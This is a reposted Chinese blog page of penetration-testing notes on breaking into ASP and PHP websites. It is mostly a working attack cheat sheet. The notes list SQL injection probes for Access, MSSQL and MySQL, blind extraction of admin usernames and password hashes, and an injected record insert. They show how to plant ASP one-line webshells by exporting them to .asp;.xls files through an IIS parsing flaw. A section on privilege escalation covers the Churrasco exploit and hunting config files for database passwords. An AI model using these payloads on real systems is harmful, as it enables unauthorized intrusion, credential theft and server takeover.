渗透笔记之脚本入侵(ASP,PHP)<转>

简单判定有无漏洞:          粗略型:

  • '

复制代码
            1. 数字型:

  • and 1=1 and 1=2

复制代码
             2.字符型:

  • ' and '1'='1 ' and '1'='2

复制代码
             3.搜索型:

  • %' and 1=1 and '%'='% 或者 %' and 1=2 and '%'='%

复制代码
     (PS:第三个大家可能不常用,他一般在ASP脚本中一般写成:keyword=request(”keyword”),赋值“KYO”到SQL语句中的时候即变为Select * from 表名 where keyword like ‘%KYO%’)
简单判断数据库信息:
语句型(IIS报不报错,语句自己区分):            and user>0             and  (select count(*) from msysobjects)>0 ……(页面错误为access数据库)            and  (select count(*) from sysobjects)>0 ……(页面正常为MSSQL数据库)            and  db_name()>0 ……(爆数据库名)            version>0  (爆SQLServer版本信息以及服务器操作系统的类型和版本信息)      粗略型:加 ’(根据服务器报错的信息来判断)            加 ;--(;和--MSSQL数据库里面一般都有, ; 表示分离,-- 则是注释符ACCESS数据库里没有)
判断MYSQL权限:                     and 0<>(Select ISSRVROLEMEMBER(’sysadmin’))--(页面正常则为SA)                      and 0<>(Select IS_MEMBER(’db_owner’))--(页面正常则为db_owner)                      and 0<>(Select IS_MEMBER(’public’))--(页面正常则是public)
PS:以上方法适用于参数是int的时候,若为字符型,需在参数后添加’和查询语句后添加;--
开始进行SQL注入(ACCESS):
  猜解表名:                    and 0<>(select count(*) from 表名) 或and exists(Select * from 表名)                              and 1<(select count(*) from 表名) (页面错误说明帐号数目就是1个)          猜解字段:                    and exists(Select 字段名 from 表名)(页面正常存在,不正常不存在)          猜解用户名和密码长度:                   and(Select top 1 len(列名) from 表名)>N (TOP表示把最前面的一条记录提取出来;N为变换猜解的列长度,页面错误即说明该列长度为N)                                             如:and 1=(select count(*) from user where len(name)>6) 错误                     and 1=(select count(*) from user where len(name)>5) 正确                     则长度是6
             猜解用户名和密码:and (select top 1 asc(mid(列名,1,1)) from 表名)>0                                 如:and (select top 1 asc(mid(user,1,1)) from name)>96页面正常                          and (select top 1 asc(mid(user,1,1)) from name)>97页面错误                          则ASCLL码为97
  PS:因为MD5的密文只有16,18,32,40这几个,所以猜解密码的时候只要试一试15,16,17,18,31,32,39,40等就简单些。 开始进行SQL注入(MYSQL):
             爆出表名和字段: having 1=1--                                  插入新记录: group by users.ID having 1=1-- group by users.ID, users.username, users.password, users.privs having 1=1-- ; insert into users values( 666, attacker, foobar, 0xffff )--                                   猜解表名:and (select top 1 name from sysobjects where xtype='u')>0 (获得第一个表名)                                  and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0(获得第二个表名)                                       ………………                       猜解列名:and (select top 1 col_name(object_id('字段'),1) from sysobjects)>0(得到字段的第一个列名)                       猜解字段内容:and (select top 1 列名 from [表名])>0                                                         如:and (select top 1 username from [admin])>0 (获取用户名)                                          and (select top 1 password from [admin])>0 (获取密码)
导出webshell:
        1.利用SQL执行命令功能导出WebShell:                                                     SELECT '<%execute request("a")%>' into [vote] in 'd:\web\x.asp;.xls' 'excel 8.0;' from vote PS:需提供SQL执行功能且知道绝对路径方可使用(vote为已知表段)                               2.建立一个有一个A字段的表 表名为a 字段类型为字符 长度为50,在表A的a字段插入密码为90sec的一句话木马,把表a的内容导出为物理路径的一个EXCEL文件,导出为EXCEL后在利用IIS解析漏洞就可以变成小马了。 语句:

  • create table cmd (a varchar(50))
  • insert into cmd (a) values ('<%execute request("90sec")%>')
  • select * into [a] in 'f:\host\qhdyxt\web\a.asp;.xls' 'excel 4.0;' from cmd
  • drop table cmd

复制代码
提权:
1.system权限下直接添加账号(可能的话):直接CMD命令添加   2.使用shell自带的提权功能:Serv_U,pcAnywhere,Radmin密码读取等,全部试一试   3.利用系统的漏洞进行溢出提权:利用巴西烤肉提权,在CMD命令一行里输入C:\recycler\1.exe空格“CMD命令”,1.exe就是巴西烤肉咯   4.用软件的漏洞来提权(这个机会比较渺茫,个人没有成功过)   5.在conn.asp webconfig.asp等文件查找SA密码或者查找inc.php 等文件里面的ROOT密码(可以用CMD语句查找,如:利用CMD命令 dir /s d:\conn.asp 或者 dir /s d:\*inc*.php 来查找配置文件)

转载于:https://www.cnblogs.com/demonspider/archive/2013/04/11/3015170.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值